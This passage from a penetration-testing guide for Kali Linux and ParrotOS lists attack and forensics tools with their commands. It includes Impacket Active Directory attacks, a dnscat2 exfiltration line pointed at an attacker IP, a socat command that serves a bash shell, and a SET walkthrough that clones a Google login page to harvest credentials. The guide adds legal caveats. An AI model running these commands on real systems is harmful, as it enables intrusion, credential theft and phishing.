3SMB Exec (Noisy Alternative)impacket-smbexec domain/user:pass@192.168.1.100Similar to psexec but uses SMB share execution
4WMI Executionimpacket-wmiexec domain/user:pass@192.168.1.100 ‘whoami’Executes command via WMI; leaves fewer traces than psexec
5Kerberoastingimpacket-GetUserSPNs domain.local/user:pass -dc-ip 192.168.1.10 -requestRequests service tickets for accounts with SPNs; crack offline with Hashcat
6AS-REP Roastingimpacket-GetNPUsers domain.local/ -usersfile users.txt -dc-ip 192.168.1.10 -no-passRequests AS-REP hashes for accounts without pre-auth required
7DCSync Attackimpacket-secretsdump domain/DCAdmin:pass@DC_IPReplicates DC hashes without running code on the DC; requires Domain Admin
8NTLM Relay Attackimpacket-ntlmrelayx -tf targets.txt -smb2supportRelays NTLM authentication to other hosts; pair with Responder
ParrotOS-Specific & Anonymity Tools

11.  ParrotOS-Exclusive & Anonymity Tools

While ParrotOS shares the majority of its security toolset with Kali Linux, it ships with several unique tools, particularly focused on anonymity, operational security (OPSEC), and privacy — critical considerations for covert engagements.

11.1  AnonSurf — System-Wide Traffic Anonymization

Tool
AnonSurf
Platform
ParrotOS (Exclusive)
Category
Anonymity / OPSEC
Difficulty
Beginner

AnonSurf is a ParrotOS tool that routes all system network traffic through the Tor anonymization network, changes the system’s MAC address, and kills potentially identifying processes. It is not available in Kali Linux by default.

Step-by-Step Procedures

#ActionCommand / SyntaxNotes
1Start AnonSurfsudo anonsurf startRoutes all traffic through Tor; changes MAC address
2Check Current Statussudo anonsurf statusConfirms Tor is running and traffic is anonymized
3Check Current IP Addresscurl https://api.ipify.org — Should return a Tor exit node IP —Verify anonymization is working correctly
4Change Tor Circuitsudo anonsurf changeidRequests a new Tor exit node (new apparent IP address)
5View Tor DNS Configurationsudo anonsurf myipShows current Tor exit node information
6Stop AnonSurfsudo anonsurf stopRestores normal network routing; real IP visible again

11.2  Additional ParrotOS-Highlighted Tools

ToolCategoryPurpose & Basic Command
EvilGinx2 Phishing / MITM Advanced phishing framework that proxies authentication pages to capture credentials and session cookies, bypassing 2FA.
evilginx2
DNScat2 C2 / Exfiltration Command-and-control tool using DNS for covert communication and data exfiltration through firewalls.
dnscat2 --dns host=<attacker-IP>
Netcat (nc) Network Utility TCP/UDP networking Swiss Army knife: port scanning, bind/reverse shells, file transfer.
nc -lvnp 4444 (listener)  |  nc 192.168.1.10 4444 (connect)
Socat Network Relay Advanced netcat alternative with SSL support, file transfers, and port forwarding.
socat TCP-LISTEN:4444,reuseaddr EXEC:/bin/bash
Empire (PS-Empire) Post-Exploitation C2 PowerShell/Python C2 framework for managing post-exploitation agents with modules for lateral movement.
sudo powershell-empire
Fierce DNS Recon DNS reconnaissance tool for enumerating subdomains and adjacent IP space.
fierce --domain example.com
Masscan Fast Port Scanner Fastest Internet-scale port scanner (100M packets/sec).
sudo masscan 192.168.1.0/24 -p 22,80,443 --rate 1000
Enum4linux-ng SMB Enumeration Enumerates Windows/Samba shares, users, password policies via SMB/RPC.
enum4linux-ng -A 192.168.1.100
Digital Forensics Tools

Digital Forensics Tools

Both Kali Linux and ParrotOS include forensic investigation capabilities. ParrotOS’s ‘Forensics Edition’ specifically targets incident responders and digital forensic investigators.

Autopsy — Digital Forensics Platform

Tool
Autopsy
Platform
Kali Linux / ParrotOS
Category
Digital Forensics
Difficulty
Intermediate

Autopsy is a digital forensics GUI built on top of The Sleuth Kit (TSK). It analyzes disk images and file systems for deleted files, browsing history, email artifacts, keyword searches, hash verification, and timeline analysis. Widely used in law enforcement and incident response.

Step-by-Step Procedures

#ActionCommand / SyntaxNotes
1Install Autopsysudo apt install autopsy -yWeb-based Autopsy 2.x comes with Kali; Autopsy 4.x must be downloaded separately
2Acquire Disk Imagesudo dd if=/dev/sdb of=/evidence/disk.img bs=4M status=progress — OR — sudo dcfldd if=/dev/sdb of=/evidence/disk.img hash=md5 hashlog=hash.txtAlways verify hash integrity of acquired image
3Start Autopsyautopsy Browser: http://localhost:9999/autopsyOpens Autopsy web interface in browser
4Create New CaseNew Case > Case Name: Incident_2025 Investigator: Your Name Time Zone: UTCAll evidence and notes stored per-case
5Add Disk ImageAdd Image > Disk Image > /evidence/disk.img Select file system type and mount pointAutopsy auto-detects partitions and file systems
6Keyword SearchKeyword Search tab > Enter search terms (e.g., ‘password’, ‘confidential’, SSN patterns)Searches allocated and unallocated space
7File AnalysisFile Analysis > Browse directory tree Right-click file > ‘Add to Image Details’Identify deleted files (shown in red in directory listing)
8Timeline AnalysisImage Details > File Activity Timelines Set date range > GenerateShows file access/modification/creation timeline
9Generate ReportGenerate Report > HTML Format > GenerateExports full case report for evidentiary documentation

Volatility — Memory Forensics Framework

Tool
Volatility 3
Platform
Kali Linux / ParrotOS
Category
Memory Forensics
Difficulty
Advanced

Volatility is the leading open-source memory forensics framework. It analyzes raw memory dumps (RAM captures) from Windows, Linux, and macOS systems to extract running processes, network connections, injected code, encryption keys, user activity, and malware artifacts.

Step-by-Step Procedures

#ActionCommand / SyntaxNotes
1Install Volatility 3git clone https://github.com/volatilityfoundation/volatility3.git cd volatility3 && pip3 install -r requirements.txtVolatility 3 uses Python 3; no need to specify profiles
2Identify OS Profilepython3 vol.py -f memory.dmp banners.BannersDetects OS version and architecture from memory image
3List Running Processespython3 vol.py -f memory.dmp windows.pslistLists all active processes at time of capture
4Detect Hidden Processespython3 vol.py -f memory.dmp windows.psscanScans physical memory for EPROCESS structures; finds hidden/injected processes
5List Network Connectionspython3 vol.py -f memory.dmp windows.netstatShows TCP/UDP connections and listening ports
6Dump Process Executablepython3 vol.py -f memory.dmp windows.dumpfiles –pid 1234Extracts PE from memory for malware analysis
7Scan for Injected Codepython3 vol.py -f memory.dmp windows.malfindFinds process memory regions with execute permissions and no backing file (classic injection indicator)
8Extract Registry Hivespython3 vol.py -f memory.dmp windows.registry.hivelistLists all registry hives loaded in memory
9Linux Memory Analysispython3 vol.py -f linux_mem.dmp linux.pslist python3 vol.py -f linux_mem.dmp linux.bashlinux.bash recovers command history from memory
Social Engineering

Social Engineering Tools

Social-Engineer Toolkit (SET)

Tool
SET (setoolkit)
Platform
Kali Linux / ParrotOS
Category
Social Engineering
Difficulty
Intermediate

The Social-Engineer Toolkit (SET) is an open-source framework designed to simulate social engineering attacks. It automates phishing credential harvesting, website cloning, USB drop attacks, spear-phishing email campaigns, and more. SET is written in Python and is driven through an interactive menu system.

Step-by-Step Procedures — Credential Harvester

#ActionCommand / SyntaxNotes
1Launch SETsudo setoolkitOpens the SET interactive menu; requires root
2Select Social-Engineering AttacksMenu > 1) Social-Engineering AttacksMain category for all phishing/SE attacks
3Select Website Attack VectorMenu > 2) Website Attack VectorsBrowser-based attack delivery methods
4Select Credential HarvesterMenu > 3) Credential Harvester Attack MethodCaptures usernames and passwords from cloned sites
5Site ClonerMenu > 2) Site Cloner Enter your IP address: 192.168.1.10 URL to clone: https://accounts.google.comSET clones the target site and hosts it locally
6Wait for Victim Interaction— SET listens on port 80 — — Credentials posted by victim appear in console —Send victim a link to your IP via phishing email
7View Captured Credentialscat /root/.set/harvester/harvester_*.txtAll captured form fields saved to this directory
Ethical Note
Social engineering attacks must only be performed as part of a contracted penetration test with explicit scope covering human-based testing. Unauthorized phishing attacks violate CAN-SPAM, CFAA, and may constitute wire fraud.
Quick Reference & Cheatsheet

Penetration Testing Quick Reference

The following table provides an at-a-glance reference of all tools covered in this document.

ToolCategoryPlatformPrimary Command / Entry Point
NmapReconKali / Parrotnmap -A -T4 <target>
theHarvesterOSINTKali / ParrottheHarvester -d <domain> -b all
Recon-ngOSINT FrameworkKali / Parrotrecon-ng
MaltegoGraph OSINTKali / Parrotmaltego
NiktoWeb ScanningKali / Parrotnikto -h <url>
OpenVAS/GVMVulnerability MgmtKali / Parrotsudo gvm-start
LynisHost AuditKali / Parrotsudo lynis audit system
MetasploitExploitationKali / Parrotmsfconsole
SQLMapSQL InjectionKali / Parrotsqlmap -u <url>
HashcatHash CrackingKali / Parrothashcat -m <type> -a 0 <hash> <wordlist>
HydraOnline Brute-ForceKali / Parrothydra -l <user> -P <wordlist> <protocol>://<target>
John the RipperHash CrackingKali / Parrotjohn <hashes.txt> –wordlist=rockyou.txt
Burp SuiteWeb App ProxyKali / Parrotburpsuite
OWASP ZAPWeb App ScannerKali / Parrotzaproxy
GobusterWeb EnumerationKali / Parrotgobuster dir -u <url> -w <wordlist>
Aircrack-ngWi-Fi AuditingKali / Parrotaircrack-ng -w <wordlist> <capture.cap>
WiresharkPacket AnalysisKali / Parrotwireshark / tshark -i eth0
BettercapMITM FrameworkKali / Parrotsudo bettercap -iface eth0
PypykatzCredential ExtractionKali / Parrotpypykatz lsa minidump lsass.dmp
ImpacketWindows / AD AttackKali / Parrotimpacket-psexec domain/user:pass@<target>
AnonSurfAnonymityParrotOS ONLYsudo anonsurf start
MasscanFast Port ScanKali / Parrotsudo masscan <range> -p <ports> –rate 1000
AutopsyDisk ForensicsKali / Parrotautopsy → http://localhost:9999/autopsy
Volatility 3Memory ForensicsKali / Parrotpython3 vol.py -f <memory.dmp> windows.pslist
SETSocial EngineeringKali / Parrotsudo setoolkit

Legal and Ethical Considerations

Important — Read Before Using Any Tool
Using these tools against systems, networks, or applications without explicit written authorization from the system owner is a serious criminal offense. This document is intended for use by certified security professionals, students in controlled lab environments, and system owners testing their own infrastructure.

Legal Frameworks

The following laws govern unauthorized computer access in major jurisdictions:

  • United States: Computer Fraud and Abuse Act (18 U.S.C. § 1030) — up to 10 years imprisonment for unauthorized access
  • United Kingdom: Computer Misuse Act 1990 (as amended) — up to 10 years imprisonment
  • European Union: Directive 2013/40/EU on Attacks Against Information Systems
  • Australia: Criminal Code Act 1995, Part 10.7 — Computer Offences

Rules of Engagement for Authorized Penetration Tests

  • Obtain a signed Statement of Work (SOW) and Rules of Engagement (RoE) document before beginning
  • Define the scope precisely — IP ranges, domains, applications, and testing windows
  • Establish escalation procedures for critical findings discovered during the test
  • Never access systems or data outside the agreed scope
  • Maintain detailed logs of all actions taken during the test for accountability
  • Restore all modified systems to their original state after testing
  • Report all findings, including critical vulnerabilities, immediately to the client

Recommended Certifications for Penetration Testers

CertificationIssuing BodyFocus
OSCP (PEN-200)Offensive SecurityHands-on practical penetration testing; Kali Linux focused
CEHEC-CouncilCertified Ethical Hacker — broad security concepts
PNPTTCM SecurityPractical Network Penetration Tester — real-world skills
eJPTINE / eLearnSecurityJunior Penetration Tester — ideal entry-level certification
GPENGIAC / SANSGIAC Penetration Tester — enterprise-focused methodology
CPENTEC-CouncilCertified Penetration Testing Professional — advanced